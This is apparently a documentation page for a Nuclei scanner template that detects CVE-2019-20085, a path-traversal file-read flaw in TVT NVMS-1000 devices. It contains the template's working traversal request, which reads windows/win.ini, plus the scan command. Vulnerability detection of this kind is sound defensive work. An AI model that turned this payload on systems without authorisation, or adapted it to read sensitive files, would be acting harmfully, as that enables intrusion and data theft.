Skip to content
Nuclei Templates

TVT NVMS 1000 - Local File Inclusion

ID: CVE-2019-20085

Severity: high

Author: daffainfo

Tags: cve,cve2019,iot,lfi,kev,edb,packetstorm,tvt

Description

Section titled “Description”

TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2019-20085


info:
  name: TVT NVMS 1000 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software.
  reference:
    - https://www.exploit-db.com/exploits/48311
    - https://www.exploit-db.com/exploits/47774
    - http://packetstormsecurity.com/files/157196/TVT-NVMS-1000-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-20085
    cwe-id: CWE-22
    epss-score: 0.69009
    epss-percentile: 0.9799
    cpe: cpe:2.3:o:tvt:nvms-1000_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tvt
    product: nvms-1000_firmware
  tags: cve,cve2019,iot,lfi,kev,edb,packetstorm,tvt


http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"


      - type: status
        status:
          - 200
# digest: 490a00463044022075f32b2fb779a3f6bf58e96d815195bc81a48cf8fed0ac1f736df0a8ca8e728102205afff5487a8ce6c0ba057b68c49a6a6a2f7221829949b1f408af76c1d5135bb6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-20085.yaml"

View on Github